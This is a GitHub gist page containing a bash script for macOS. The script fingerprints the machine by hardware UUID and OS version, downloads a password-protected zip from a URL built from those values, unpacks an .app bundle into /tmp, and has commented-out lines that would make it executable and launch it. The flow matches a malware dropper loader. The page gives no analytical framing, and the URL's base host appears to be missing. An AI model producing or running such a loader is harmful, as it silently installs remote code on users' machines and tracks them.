Skip to content

Instantly share code, notes, and snippets.

@oxynux oxynux/ Secret
Last active Nov 9, 2018

What would you like to do?
set -v
export os_version="$(sw_vers -productVersion)"
export session_guid="$(uuidgen)"
export machine_id="$(echo -n "$(ioreg -rd1 -c IOPlatformExpertDevice | grep -o '"IOPlatformUUID" = "\(.*\)"' | sed -E -n 's@.*"([^"]+)"@\1@p')" | tr -dc '[[:print:]]')"
export url="$machine_id&s=$session_guid&o=$os_version&b=4862950061"
export unzip_password="16005926849404862950061"
export tmp_path="$(mktemp /tmp/XXXXXXXXX)"
echo "os_version=$os_version"
echo "session_guid=$session_guid"
echo "machine_id=$machine_id"
echo "url=$url"
echo "tmp_path=$tmp_path"
curl -v -f0L "$url" >>$tmp_path
export app_dir="$(mktemp -d /tmp/XXXXXXXX)/"
echo "app_dir=$app_dir"
unzip -P "$unzip_password" "$tmp_path" -d "$app_dir"
rm -f $tmp_path
export file_name="$(grep -m1 -v "*.app" <(ls -1 "$app_dir"))"
echo "file_name=$file_name"
export volume_name="$(echo -n "$PWD" | sed -E -n 's@^(/Volumes/[^/]+)/.*@\1@p')"
echo "volume_name=$volume_name"
export volume_name="${volume_name// /%20}"
echo "volume_name=$volume_name"
#chmod +x "$app_dir$file_name/Contents/MacOS"/*
#open -a "$app_dir$file_name" --args "s" "$session_guid" "$volume_name"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.